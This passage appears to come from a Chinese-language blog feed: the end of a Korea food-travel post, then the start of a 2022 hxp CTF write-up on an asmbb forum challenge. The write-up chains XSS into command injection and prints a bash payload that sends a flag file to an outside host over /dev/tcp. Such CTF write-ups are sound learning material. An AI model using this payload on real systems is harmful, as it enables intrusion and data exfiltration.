5473;&#x642D;&#x914D;&#x91AC;&#x83DC;&#x8B93;&#x6211;&#x4E00;&#x76F4;&#x5403;&#x90FD;&#x4E0D;&#x81A9;&#x3002;&#x6709;&#x8DA3;&#x7684;&#x662F;&#x6211;&#x5011;&#x5718;&#x62C6;&#x6210;&#x5169;&#x684C;&#xFF0C;&#x6211;&#x9019;&#x4E00;&#x684C;&#x662F;&#x56DB;&#x500B;&#x666E;&#x901A;&#x7537;&#x751F;&#xFF0C;&#x4E00;&#x684C;&#x662F;&#x4E00;&#x500B;&#x5DE8;&#x5DE8;&#x3001;&#x4E00;&#x500B;&#x5973;&#x751F;&#x3001;&#x4E00;&#x500B;&#x9AD4;&#x91CD;&#x4E0D;&#x5230;50kg&#x7684;&#x7537;&#x751F;&#x3001;&#x548C;&#x4E00;&#x500B;&#x666E;&#x901A;&#x7537;&#x6027;&#xFF0C;&#x7136;&#x5F8C;&#x6211;&#x5011;&#x9019;&#x908A;&#x6BD4;&#x5C0D;&#x9762;&#x65E9;&#x5F88;&#x591A;&#x5C31;&#x5403;&#x4E0D;&#x4E0B;&#x3002;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.cjis.ooo/content/images/2023/05/photo_2023-05-24_04-40-15.jpg" class="kg-image" alt loading="lazy" width="1280" height="964" srcset="https://blog.cjis.ooo/content/images/size/w600/2023/05/photo_2023-05-24_04-40-15.jpg 600w, https://blog.cjis.ooo/content/images/size/w1000/2023/05/photo_2023-05-24_04-40-15.jpg 1000w, https://blog.cjis.ooo/content/images/2023/05/photo_2023-05-24_04-40-15.jpg 1280w" sizes="(min-width: 720px) 720px"><figcaption>&#x4E00;&#x5BB6;&#x8D85;&#x597D;&#x5403;&#x7684;&#x8C6C;&#x8173;&#x5E97;&#xFF0C;&#x9183;&#x904E;&#x7684;&#x5927;&#x849C;&#x642D;&#x914D;&#x8D77;&#x4F86;&#x6709;&#x80A1;&#x69B4;&#x69E4;&#x751C;&#x5473;</figcaption></figure><p>&#x6709;&#x4E00;&#x5BB6;&#x64DA;&#x8AAA;&#x662F;&#x68A8;&#x82B1;&#x5973;&#x5B50;&#x5927;&#x5B78;&#x751F;&#x6703;&#x53BB;&#x7684;&#x5C0F;&#x5403;&#x5E97;&#xFF0C;&#x5E97;&#x5167;&#x6709;&#x8CE3;&#x5167;&#x81DF;&#x62FC;&#x76E4;&#x9084;&#x6709;&#x5404;&#x7A2E;&#x70B8;&#x7269;&#xFF0C;&#x7576;&#x6642;&#x5E97;&#x5BB6;&#x5728;&#x4F11;&#x606F;&#x6642;&#x9593;&#xFF0C;&#x6BD4;&#x624B;&#x756B;&#x8173;&#x4E00;&#x756A;&#x77E5;&#x9053;&#x53EA;&#x63D0;&#x4F9B;&#x5916;&#x5E36;&#xFF0C;&#x6211;&#x5C31;&#x5750;&#x5728;&#x5E97;&#x5C0D;&#x9762;&#x5403;&#xFF0C;&#x5F8C;&#x4F86;&#x5E97;&#x4E3B;&#x8DD1;&#x4F86;&#x9001;&#x6211;&#x4E00;&#x74F6;&#x98F2;&#x6599;&#x3002;&#x70B8;&#x7269;&#x50F9;&#x683C;&#x5212;&#x7B97;&#x597D;&#x5403;&#xFF0C;&#x5167;&#x81DF;&#x8655;&#x7406;&#x53EF;&#x4EE5;&#x9AD4;&#x73FE;&#x70E4;&#x8C6C;&#x570B;&#x7684;&#x6C34;&#x6E96;&#xFF0C;&#x9910;&#x76D2;&#x5167;&#x6C92;&#x4EFB;&#x4F55;&#x91AC;&#x6599;&#x53EA;&#x6709;&#x4E00;&#x5C0F;&#x5305;&#x9E7D;&#x5DF4;&#xFF0C;&#x5167;&#x81DF;&#x4E5F;&#x6C92;&#x7279;&#x5225;&#x9183;&#x904E;&#xFF0C;&#x53EF;&#x4EE5;&#x54C1;&#x5617;&#x5230;&#x8C6C;&#x809D;&#x597D;&#x7684;&#x5473;&#x9053;&#xFF0C;&#x540C;&#x6642;&#x6C92;&#x6709;&#x5C3E;&#x97FB;&#x5641;&#x5FC3;&#x7684;&#x8165;&#x5473;&#xFF0C;&#x7B2C;&#x4E00;&#x6B21;&#x5403;&#x5230;&#x90A3;&#x9EBC;&#x597D;&#x5403;&#x7684;&#x8C6C;&#x809D;&#x3002;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.cjis.ooo/content/images/2023/05/photo_2023-05-24_04-47-31.jpg" class="kg-image" alt loading="lazy" width="964" height="1280" srcset="https://blog.cjis.ooo/content/images/size/w600/2023/05/photo_2023-05-24_04-47-31.jpg 600w, https://blog.cjis.ooo/content/images/2023/05/photo_2023-05-24_04-47-31.jpg 964w" sizes="(min-width: 720px) 720px"><figcaption>&#x8840;&#x8178;&#x3001;&#x8C6C;&#x809D;&#x3001;&#x8106;&#x9AA8;</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.cjis.ooo/content/images/2023/05/photo_2023-05-24_04-47-26.jpg" class="kg-image" alt loading="lazy" width="964" height="1280" srcset="https://blog.cjis.ooo/content/images/size/w600/2023/05/photo_2023-05-24_04-47-26.jpg 600w, https://blog.cjis.ooo/content/images/2023/05/photo_2023-05-24_04-47-26.jpg 964w" sizes="(min-width: 720px) 720px"><figcaption>&#x68A8;&#x5927;&#x751F;&#x5E38;&#x53BB;&#x7684;&#x5E97;&#x548C;&#x597D;&#x4EBA;&#x5E97;&#x54E1;&#xFF0C;&#x9EDE;&#x9910;&#x6642;&#x9019;&#x5C0D;&#x5C31;&#x5750;&#x8457;&#x7528;&#x9910;&#x4E86;&#xFF1A;&#xFF24;</figcaption></figure><p>&#x53E6;&#x4E00;&#x5BB6;&#x7C73;&#x5176;&#x6797;&#x96DE;&#x6E6F;&#x4E00;&#x5BA2;&#x50F9;&#x4F4D;500&#xFF0C;&#x6709;&#x4E00;&#x96BB;&#x5C0F;&#x5168;&#x96DE;&#xFF0C;&#x6E6F;&#x559D;&#x8D77;&#x4F86;&#x50CF;&#x662F;&#x96DE;&#x767D;&#x6E6F;&#x62C9;&#x9EB5;&#x5FD8;&#x8A18;&#x52A0;&#x91AC;&#x6CB9;&#xFF0C;&#x6574;&#x9AD4;&#x9084;&#x883B;&#x6FC3;&#x539A;&#xFF0C;&#x537B;&#x6BD4;&#x5728; costco &#x8CB7;&#x7684;&#x97D3;&#x570B;&#x4EBA;&#x8518;&#x96DE;&#x6E6F;&#x9084;&#x6DE1;&#x597D;&#x5E7E;&#x500B;&#x6A94;&#x6B21;&#xFF0C;&#x96DE;&#x8089;&#x6211;&#x5ABD;&#x716E;&#x5F97;&#x6BD4;&#x8F03;&#x597D;&#x5403;&#x3002;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.cjis.ooo/content/images/2023/05/photo_2023-05-24_04-40-00.jpg" class="kg-image" alt loading="lazy" width="1280" height="964" srcset="https://blog.cjis.ooo/content/images/size/w600/2023/05/photo_2023-05-24_04-40-00.jpg 600w, https://blog.cjis.ooo/content/images/size/w1000/2023/05/photo_2023-05-24_04-40-00.jpg 1000w, https://blog.cjis.ooo/content/images/2023/05/photo_2023-05-24_04-40-00.jpg 1280w" sizes="(min-width: 720px) 720px"><figcaption>&#x7C73;&#x5176;&#x6797;&#x96DE;&#x6E6F;</figcaption></figure><p>&#x51FA;&#x767C;&#x524D;&#x5E7B;&#x60F3;&#x97D3;&#x570B;&#x662F;&#x70B8;&#x96DE;&#x570B;&#xFF0C;&#x6BCF;&#x5929;&#x90FD;&#x8A72;&#x4F86;&#x5206;&#x70B8;&#x96DE;&#xFF0C;&#x525B;&#x597D;BHC &#x70B8;&#x96DE;&#x7E3D;&#x5E97;&#x5728;&#x98EF;&#x5E97;&#x65C1;&#xFF0C;&#x9EDE;&#x4E86;&#x4E00;&#x4EFD;&#x91AC;&#x6CB9;&#x53E3;&#x5473;&#x548C;&#x8D77;&#x53F8;&#x53E3;&#x5473;&#x5404;500&#x5143;&#xFF08;&#x548C;&#x53F0;&#x7063;&#x50F9;&#x683C;&#x5DEE;&#x4E0D;&#x591A;&#xFF0C;&#x4F46;&#x662F;&#x540C;&#x50F9;&#x4F4D;&#x5728;&#x97D3;&#x570B;&#x53EF;&#x4EE5;&#x70E4;&#x8C6C;&#x5403;&#x5230;&#x98FD;...&#xFF09;&#xFF0C;&#x6A19;&#x699C;&#x4E00;&#x4EFD;&#x662F;&#x548C;2~3&#x4EBA;&#xFF0C;&#x5BE6;&#x969B;&#x4E0A;2&#x4EBA;&#x5C31;&#x633A;&#x52C9;&#x5F37;&#x3002;&#x91AC;&#x6CB9;&#x9084;&#x7B97;&#x597D;&#x5403;&#xFF0C;&#x8D77;&#x53F8;&#x5C31;&#x883B;&#x96E3;&#x5403;&#x7684;&#xFF0C;&#x9694;&#x5929;&#x9084;&#x5269;&#x4E0B;&#x4E09;&#x5206;&#x4E4B;&#x4E00;&#x6C92;&#x4EBA;&#x60F3;&#x5403;&#x76F4;&#x63A5;&#x4E1F;&#x6389;&#x3002;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.cjis.ooo/content/images/2023/05/photo_2023-05-24_04-40-21.jpg" class="kg-image" alt loading="lazy" width="964" height="1280" srcset="https://blog.cjis.ooo/content/images/size/w600/2023/05/photo_2023-05-24_04-40-21.jpg 600w, https://blog.cjis.ooo/content/images/2023/05/photo_2023-05-24_04-40-21.jpg 964w" sizes="(min-width: 720px) 720px"><figcaption>BHC &#x70B8;&#x96DE;</figcaption></figure><p>&#x6709;&#x5929;&#x4E82;&#x901B;&#x901B;&#x5230;&#x4E00;&#x5BB6;&#x90FD;&#x662F;&#x672C;&#x5730;&#x4EBA;&#x7684;&#x5E97;&#xFF0C;&#x4E00;&#x5BB6;&#x6C92;&#x4E2D;&#x570B;&#x5E97;&#x54E1;&#x7684;&#x5E97;&#xFF0C;&#x83DC;&#x55AE;&#x5B57;&#x9593;&#x8DDD;&#x5927;&#x5230;&#x7FFB;&#x8B6F;&#x4E0D;&#x51FA;&#x4F86;&#xFF0C;&#x8001;&#x95C6;&#x6307;&#x8457;&#x7246;&#x4E0A;&#x639B;&#x8457;&#x7684;&#x5831;&#x5C0E;&#xFF0C;&#x5716;&#x770B;&#x8D77;&#x4F86;&#x662F;&#x714E;&#x86CB;&#x6372;&#xFF0C;&#x5BE6;&#x969B;&#x4E0A;&#x4E5F;&#x662F;&#x714E;&#x86CB;&#x6372;&#xFF0C;&#x6211;&#x9EDE;&#x5B8C;&#x5F8C;&#x624D;&#x610F;&#x8B58;&#x5230;&#x4E00;&#x76E4;&#x56DB;&#x767E;&#x5143;&#xFF0C;&#x80AF;&#x5B9A;&#x4E0D;&#x5E73;&#x51E1;&#xFF0C;&#x7136;&#x5F8C;&#x5C31;&#x62FF;&#x5230;&#x4E00;&#x76E4;&#x8D85;&#x4ED6;&#x5ABD;&#x6BD4;&#x81C9;&#x5927;&#x7684;&#x714E;&#x86CB;&#x6372;&#xFF0C;&#x539A;&#x5EA6;&#x8D85;&#x904E;&#x4E94;&#x516C;&#x5206;&#xFF0C;&#x53E3;&#x5473;&#x662F;&#x5F88;&#x591A;&#x5C64;&#x714E;&#x86CB;&#x758A;&#x5728;&#x4E00;&#x8D77;&#xFF0C;&#x6703;&#x8FA3;&#xFF0C;&#x62C6;&#x89E3;&#x5F8C;&#x6709;&#x516B;&#x5C64;&#x3002;&#x5403;&#x5230;&#x5FEB;&#x5410;&#x7D42;&#x65BC;&#x5403;&#x5B8C;&#xFF0C;&#x62FF;&#x76E4;&#x5B50;&#x548C;&#x5716;&#x6BD4;&#x767C;&#x73FE;&#x5716;&#x6C92;&#x6709;&#x9A19;&#x4EBA;&#xFF0C;&#x662F;&#x63A5;&#x8FD1;&#x4E00;&#x6BD4;&#x4E00;&#x7B49;&#x6BD4;&#x4F8B;&#x5927;&#x5C0F;&#x3002;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.cjis.ooo/content/images/2023/05/photo_2023-05-24_04-40-11.jpg" class="kg-image" alt loading="lazy" width="1280" height="964" srcset="https://blog.cjis.ooo/content/images/size/w600/2023/05/photo_2023-05-24_04-40-11.jpg 600w, https://blog.cjis.ooo/content/images/size/w1000/2023/05/photo_2023-05-24_04-40-11.jpg 1000w, https://blog.cjis.ooo/content/images/2023/05/photo_2023-05-24_04-40-11.jpg 1280w" sizes="(min-width: 720px) 720px"><figcaption>&#x4F60;&#x9019;&#x4ED6;&#x5ABD;&#x516B;&#x6B72;&#xFF1F;</figcaption></figure><p>&#x97D3;&#x570B;&#x7684;&#x50B3;&#x7D71;&#x98F2;&#x98DF;&#x771F;&#x7684;&#x883B;&#x96E3;&#x5403;&#x53C8;&#x8CB4;&#xFF0C;&#x6709;&#x6839;&#x672C;&#x908F;&#x8F2F;&#x4E0A;&#x7684;&#x554F;&#x984C;&#xFF0C;&#x552F;&#x4E09;&#x503C;&#x5F97;&#x7A31;&#x8B9A;&#x7684;&#x662F;&#x8C6C;&#x8089;&#x3001;&#x6EFF;&#x6EFF;&#x7684;&#x5C0F;&#x83DC;&#x3001;&#x9084;&#x6709;&#x91AC;&#x87F9;&#x3002;&#x6BCF;&#x5BB6;&#x9910;&#x5EF3;&#x90FD;&#x6703;&#x9644;&#x4E00;&#x5806;&#x5C0F;&#x83DC;&#xFF0C;&#x6709;&#x6B21;&#x4E09;&#x500B;&#x4EBA;&#x966A;&#x6211;&#x53BB;&#x5403;&#x751F;&#x7AE0;&#x9B5A;&#xFF0C;&#x56DB;&#x500B;&#x4EBA;&#x5C31;&#x9EDE;&#x4E00;&#x76E4;&#x751F;&#x7AE0;&#x9B5A;&#xFF08;&#x97D3;&#x570B;&#x4E0D;&#x6D41;&#x884C;&#x4F4E;&#x6D88;&#xFF1F;&#xFF09;&#xFF0C;&#x5E97;&#x5BB6;&#x9084;&#x662F;&#x4E0A;&#x4E86;&#x56DB;&#x9053;&#x5C0F;&#x83DC;&#xFF0C;&#x9084;&#x6709;&#x6B21;&#x7368;&#x81EA;&#x53BB;&#x5403;&#x4E00;&#x5BB6;&#x91AC;&#x87F9;&#xFF0C;&#x6211;&#x4E00;&#x4EBA;&#x53EA;&#x9EDE;&#x4E86;&#x4E00;&#x4EFD;&#x91AC;&#x87F9;&#xFF0C;&#x5E97;&#x54E1;&#x62FF;&#x53F0;&#x63A8;&#x8ECA;&#x64FA;&#x4E86;&#x516B;&#x9053;&#x5C0F;&#x83DC;&#xFF0C;&#x5C0F;&#x83DC;&#x90FD;&#x5FEB;&#x4F54;&#x4E86;&#x534A;&#x5F35;&#x684C;&#x5B50;&#xFF0C;&#x6211;&#x63A8;&#x8A17;&#x4E0D;&#x8981;&#xFF0C;&#x6700;&#x5F8C;&#x8B93;&#x6211;&#x6311;&#x500B;&#x5169;&#x4E09;&#x9053;&#x5403;&#x3002;&#x91AC;&#x87F9;&#x5403;&#x8D77;&#x4F86;&#x50CF;&#x662F;&#x6CBE;&#x4E86;&#x65E5;&#x5F0F;&#x91AC;&#x6CB9;&#x7684;&#x751F;&#x5E72;&#x8C9D;&#xFF0C;&#x96D6;&#x7136;&#x9183;&#x6F2C;&#x653E;&#x5F88;&#x4E45;&#x537B;&#x6C92;&#x6709;&#x6D77;&#x9BAE;&#x7684;&#x8165;&#x5473;&#xFF0C;&#x76F8;&#x7576;&#x7684;&#x6E05;&#x751C;&#xFF0C;&#x53EF;&#x662F;&#x7562;&#x7ADF;&#x662F;&#x548C;&#x6F6E;&#x6C55;&#x6BD2;&#x85E5;&#x540C;&#x7D1A;&#x5225;&#x7684;&#x6BD2;&#xFF0C;&#x642D;&#x56DE;&#x570B;&#x90A3;&#x5929;&#x624D;&#x6709;&#x6642;&#x9593;&#x5617;&#x8A66;&#xFF0C;&#x6C92;&#x6709;&#x540C;&#x5718;&#x6562;&#x5192;&#x8457;&#x62C9;&#x809A;&#x5B50;&#x4E0A;&#x4E0D;&#x4E86;&#x98DB;&#x6A5F;&#x7684;&#x98A8;&#x96AA;&#xFF0C;&#x6700;&#x5F8C;&#x53EA;&#x6709;&#x6211;&#x81EA;&#x5DF1;&#x53BB;&#x5403;&#xFF0C;&#x5F88;&#x53EF;&#x60DC;&#x3002;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.cjis.ooo/content/images/2023/05/photo_2023-05-24_04-39-55.jpg" class="kg-image" alt loading="lazy" width="1280" height="964" srcset="https://blog.cjis.ooo/content/images/size/w600/2023/05/photo_2023-05-24_04-39-55.jpg 600w, https://blog.cjis.ooo/content/images/size/w1000/2023/05/photo_2023-05-24_04-39-55.jpg 1000w, https://blog.cjis.ooo/content/images/2023/05/photo_2023-05-24_04-39-55.jpg 1280w" sizes="(min-width: 720px) 720px"><figcaption>&#x6210;&#x529F;&#x963B;&#x6B62;&#x5269;&#x4E0B;&#x516D;&#x9053;&#x5C0F;&#x83DC;</figcaption></figure><p>&#x7136;&#x5F8C;&#x65B7;&#x5C3E;&#x4E86;&#xFF0C;&#x548C;&#x65C5;&#x4F34;&#x767C;&#x751F;&#x7684;&#x597D;&#x591A;&#x8DA3;&#x4E8B;&#x4E0D;&#x5B9C;&#x5BEB;&#x5728;&#x9019;&#xFF0C;&#x53EF;&#x662F; fb &#x53C8;&#x4E0D;&#x9069;&#x5408;&#x52A0;&#x5716;&#x3002;&#x5982;&#x679C;&#x8981;&#x60F3;&#x500B;&#x7406;&#x7531;&#x518D;&#x4F86;&#x5230;&#x97D3;&#x570B;&#xFF0C;&#x80AF;&#x5B9A;&#x662F;&#x56E0;&#x70BA;&#x548C;&#x9019;&#x7FA4;&#x4EBA;&#x73A9;&#xFF06;&#x6253;&#x6BD4;&#x8CFD;&#x3001;&#x91AC;&#x87F9;&#x3001;&#x70E4;&#x8C6C;&#x3002;</p>]]></content:encoded></item><item><title><![CDATA[2022 hxp CTF writeups]]></title><description><![CDATA[<p> 3/11 &#x9084;&#x5728;&#x53C3;&#x52A0; DEVCORE Conf &#x6642; <em>ginoah</em> &#x5C31;&#x5DF2;&#x7D93;&#x628A; web easy &#x984C;&#x90FD;&#x79D2;&#x5B8C;&#xFF0C;&#x7559;&#x4E0B;&#x5169;&#x984C;&#x96E3;&#x7684;&#xFF0C;&#x9019;&#x6B21;&#x6BD4;&#x8CFD;&#x90FD;&#x5728;&#x770B; true_web_assembly&#xFF0C;&#x771F;&#x7684;&#x662F; assembly :D</p><figure class="kg-card kg-image-card"><img src="https://blog.cjis.ooo/content/images/2023/03/image-4.png" class="kg-image" alt loading="lazy" width="1595" height="751" srcset="https://blog.cjis.ooo/content/images/size/w600/2023/03/image-4.png 600w, https://blog.cjis.ooo/content/images/size/w1000/2023/03/image-4.png 1000w, https://blog.cjis.ooo/content/images/2023/03/image-4.png 1595w" sizes="(min-width: 720px) 720px"></figure><h1 id="web">Web</h1><h2 id="truewebassembly">true_web_assembly</h2><p><a href="https://github.com/johnfound/asmbb?ref=blog.cjis.ooo">asmbb </a>&#x662F;</p>]]></description><link>https://blog.cjis.ooo/2022-hxp-ctf/</link><guid isPermaLink="false">640ed7213ae52c0001cd6a98</guid><dc:creator><![CDATA[cjiso1117]]></dc:creator><pubDate>Mon, 13 Mar 2023 09:01:13 GMT</pubDate><content:encoded><![CDATA[<p> 3/11 &#x9084;&#x5728;&#x53C3;&#x52A0; DEVCORE Conf &#x6642; <em>ginoah</em> &#x5C31;&#x5DF2;&#x7D93;&#x628A; web easy &#x984C;&#x90FD;&#x79D2;&#x5B8C;&#xFF0C;&#x7559;&#x4E0B;&#x5169;&#x984C;&#x96E3;&#x7684;&#xFF0C;&#x9019;&#x6B21;&#x6BD4;&#x8CFD;&#x90FD;&#x5728;&#x770B; true_web_assembly&#xFF0C;&#x771F;&#x7684;&#x662F; assembly :D</p><figure class="kg-card kg-image-card"><img src="https://blog.cjis.ooo/content/images/2023/03/image-4.png" class="kg-image" alt loading="lazy" width="1595" height="751" srcset="https://blog.cjis.ooo/content/images/size/w600/2023/03/image-4.png 600w, https://blog.cjis.ooo/content/images/size/w1000/2023/03/image-4.png 1000w, https://blog.cjis.ooo/content/images/2023/03/image-4.png 1595w" sizes="(min-width: 720px) 720px"></figure><h1 id="web">Web</h1><h2 id="truewebassembly">true_web_assembly</h2><p><a href="https://github.com/johnfound/asmbb?ref=blog.cjis.ooo">asmbb </a>&#x662F;&#x500B;&#x7528; <a href="https://flatassembler.net/?ref=blog.cjis.ooo">FASM</a> &#x5BEB;&#x7684; forum&#xFF0C;&#x9019;&#x984C;&#x76EE;&#x6A19;&#x662F;&#x8981; XSS admin &#x4F86;&#x89F8;&#x767C; RCE&#x3002;admin bot &#x6709;&#x9650;&#x5236; domain &#x5728;&#x76EE;&#x6A19;&#x4E0B;&#xFF0C;&#x53EA;&#x80FD;&#x63A7; URL Path &#x90E8;&#x5206;&#x3002;&#x9019;&#x88E1;&#x62C6;&#x6210;&#x5169;&#x584A;&#x4F86;&#x8B1B;&#xFF1A;1. &#x8EAB;&#x70BA; admin &#x5982;&#x4F55;&#x89F8;&#x767C; RCE 2.&#x5982;&#x4F55;&#x89F8;&#x767C; XSS &#x4F86;&#x8B93; admin &#x89F8;&#x767C; RCE</p><h3 id="part-1-%E8%BA%AB%E7%82%BA-admin-%E5%A6%82%E4%BD%95%E8%A7%B8%E7%99%BC-rce">Part 1. &#x8EAB;&#x70BA; admin &#x5982;&#x4F55;&#x89F8;&#x767C; RCE</h3><p>&#x65E2;&#x7136;&#x662F;&#x7528; asm &#x5BEB;&#x7684;&#xFF0C;&#x8981; RCE &#x5C31;&#x5F9E; stdcall &#x4E0B;&#x53BB;&#x627E;&#x6700;&#x5FEB;&#xFF0C;FASM &#x6709;&#x9EDE;&#x985E;&#x4F3C;&#x6253;&#x5305;&#x597D;&#x4E00;&#x9EDE;&#x529F;&#x80FD;&#x6709;&#x9810;&#x8655;&#x88E1;&#x6A5F;&#x5236;&#x7684; asm &#xFF08;<em>jwang</em>: &#x90A3;&#x5E79;&#x561B;&#x4E0D;&#x76F4;&#x63A5;&#x5BEB; C&#xFF09;&#x641C;&#x4E86;&#x4E00;&#x4E0B; exec, system, int 0x80 &#x4E4B;&#x985E;&#x7684;&#x53EF;&#x4EE5;&#x77E5;&#x9053; FASM &#x662F;&#x900F;&#x904E; <code>stdcall</code> &#x505A;&#x547C;&#x53EB;&#xFF0C;&#x67E5;&#x5230; <code>stdcall exec2</code> &#x5F80;&#x4E0A;&#x8FFD;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x548C; smtp &#x76F8;&#x95DC;&#xFF0C;&#x5C0D;&#x61C9;&#x5230; admin &#x624D;&#x80FD;&#x770B;&#x5230;&#x7684; forum settings</p><figure class="kg-card kg-image-card"><img src="https://blog.cjis.ooo/content/images/2023/03/image.png" class="kg-image" alt loading="lazy" width="1158" height="555" srcset="https://blog.cjis.ooo/content/images/size/w600/2023/03/image.png 600w, https://blog.cjis.ooo/content/images/size/w1000/2023/03/image.png 1000w, https://blog.cjis.ooo/content/images/2023/03/image.png 1158w" sizes="(min-width: 720px) 720px"></figure><p>&#x5176;&#x4E2D;&#x7684; Pipe the emails through &#x6B04;&#x4F4D;&#x5C0D;&#x61C9;&#x5230; asm &#x88E1;&#x7684; <code>smtp_exec</code> &#xFF0C;&#x5982;&#x679C;&#x958B;&#x555F; <code>Confirm by email</code> &#xFF0C;&#x4F7F;&#x7528;&#x8005;&#x5728;&#x8A3B;&#x518A;&#x6642;&#x6703;&#x9700;&#x8981;&#x6536;&#x8A8D;&#x8B49;&#x4FE1;&#xFF0C;&#x5C31;&#x6703;&#x547C;&#x53EB; <code>smtp_exec</code> &#x8655;&#x7406;&#x3002; <code>stdcall exec2</code> &#x5728;&#x8655;&#x7406; <code>smtp_exec</code> &#x6642;&#x662F;&#x7528;&#x7A7A;&#x683C;&#x4F86;&#x5207;&#x5272;&#x53C3;&#x6578;&#xFF0C;&#x4E0D;&#x8A8D;&#x55AE;&#x96D9;&#x5F15;&#x865F;&#x7B49;&#x7B49;&#xFF0C; &#x4E26;&#x4E14;&#x74B0;&#x5883;&#x88E1;&#x6C92;&#x6709; nc&#x3001;curl&#x3001;wget &#x7B49;&#x7B49;&#xFF0C;&#x6240;&#x4EE5;&#x6211;&#x5011;&#x7528; bash &#x4F86;&#x9001;&#x5C01;&#x5305;&#xFF0C;&#x9001;&#x5F80; bash &#x7684; payload &#x900F;&#x904E; <code>$IFS</code> &#x5206;&#x5272;</p><p> <code>/usr/bin/bash -c /readflag$IFS&gt;/dev/tcp/blog.cjis.ooo/8788</code> </p><h3 id="part-2-%E5%A6%82%E4%BD%95%E8%A7%B8%E7%99%BC-xss-%E4%BE%86%E8%AE%93-admin-%E8%A7%B8%E7%99%BC-rce">Part 2. &#x5982;&#x4F55;&#x89F8;&#x767C; XSS &#x4F86;&#x8B93; admin &#x89F8;&#x767C; RCE</h3><p>&#x9019;&#x88E1;&#x6211;&#x5011;&#x63A1;&#x5230;&#x4E00;&#x500B;&#x5751;&#xFF0C;&#x8A72;&#x8AD6;&#x58C7;&#x6709; chat &#x529F;&#x80FD;&#xFF0C;&#x900F;&#x904E; burpsuite proxy &#x4F86;&#x700F;&#x89BD;&#x6642;&#x6703;&#x58DE;&#x6389;&#xFF0C;&#x6D41;&#x91CF;&#x6D88;&#x5931;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.cjis.ooo/content/images/2023/03/image-1.png" class="kg-image" alt loading="lazy" width="1873" height="616" srcset="https://blog.cjis.ooo/content/images/size/w600/2023/03/image-1.png 600w, https://blog.cjis.ooo/content/images/size/w1000/2023/03/image-1.png 1000w, https://blog.cjis.ooo/content/images/size/w1600/2023/03/image-1.png 1600w, https://blog.cjis.ooo/content/images/2023/03/image-1.png 1873w" sizes="(min-width: 720px) 720px"><figcaption>burpsuite proxy &#x58DE;&#x6389;</figcaption></figure><p>&#x6B63;&#x5E38;&#x8981;&#x50CF;&#x4E0B;&#x5716;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.cjis.ooo/content/images/2023/03/image-2.png" class="kg-image" alt loading="lazy" width="1719" height="310" srcset="https://blog.cjis.ooo/content/images/size/w600/2023/03/image-2.png 600w, https://blog.cjis.ooo/content/images/size/w1000/2023/03/image-2.png 1000w, https://blog.cjis.ooo/content/images/size/w1600/2023/03/image-2.png 1600w, https://blog.cjis.ooo/content/images/2023/03/image-2.png 1719w" sizes="(min-width: 720px) 720px"><figcaption>&#x6B63;&#x5E38;&#x904B;&#x4F5C;</figcaption></figure><p>chat room &#x662F;&#x900F;&#x904E; SSE&#xFF08;server-sent-event&#xFF09;&#x4F86;&#x9054;&#x5230;&#x5373;&#x6642;&#x63A8;&#x9001;&#x7684;&#x529F;&#x80FD;&#xFF0C;&#x63A5;&#x53D7; event &#x5F8C;&#x518D; render &#x5230; chat board &#x4E0A;</p><figure class="kg-card kg-image-card"><img src="https://blog.cjis.ooo/content/images/2023/03/image-3.png" class="kg-image" alt loading="lazy" width="1513" height="213" srcset="https://blog.cjis.ooo/content/images/size/w600/2023/03/image-3.png 600w, https://blog.cjis.ooo/content/images/size/w1000/2023/03/image-3.png 1000w, https://blog.cjis.ooo/content/images/2023/03/image-3.png 1513w" sizes="(min-width: 720px) 720px"></figure><p>&#x5728; id=249 &#x53EF;&#x4EE5;&#x770B;&#x5230; originalname &#x51FA;&#x73FE;&#x5947;&#x602A;&#x7684; utf-8 representation&#xFF0C;<em>ginoah</em> &#x7576;&#x521D;&#x662F;&#x5148;&#x6E2C;&#x8A66;&#x53EF;&#x4EE5;&#x8A3B;&#x518A;&#x5E36; <code>\</code> &#x7684; username &#x6703;&#x8B93; chat board &#x58DE;&#x6389;&#xFF0C;&#x7136;&#x5F8C;&#x767C;&#x73FE;&#x4ED6;&#x6703;&#x628A;&#x6574;&#x4E32;&#x7576;&#x6210; json string &#x8655;&#x7406;&#xFF0C;&#x4E26;&#x4E14;&#x4E0D;&#x6703;&#x8DF3;&#x812B; <code>\</code> &#x3002;&#x9032;&#x4E00;&#x6B65;&#x53EF;&#x4EE5;&#x8FFD;&#x5230; server &#x5728;&#x8655;&#x7406; originalname &#x6642;&#x6C92;&#x547C;&#x53EB; <code>StrEncodeJS</code> &#x7B49;&#x7B49; encode function&#xFF0C;&#x5C31;&#x76F4;&#x63A5;&#x505A;&#x62FC;&#x63A5;</p><figure class="kg-card kg-code-card"><pre><code class="language-asm">...
        cinvoke sqliteColumnText, [.stmt], 2
        test    eax, eax
        jz      @f
        stdcall StrEncodeJS, eax
        stdcall StrCat, edi, eax
        stdcall StrDel, eax
@@:
        stdcall StrCat, edi, txt &apos;&quot;, &quot;originalname&quot;: &quot;&apos;

        cinvoke sqliteColumnText, [.stmt], 3
        stdcall StrCat, edi, eax
        stdcall StrCat, edi, txt &apos;&quot;, &quot;text&quot;: &quot;&apos;
        cinvoke sqliteColumnText, [.stmt], 4
        stdcall StrEncodeJS, eax
        stdcall StrCat, edi, eax
        stdcall StrDel, eax
        stdcall StrCat, edi, txt &apos;&quot; }&apos;
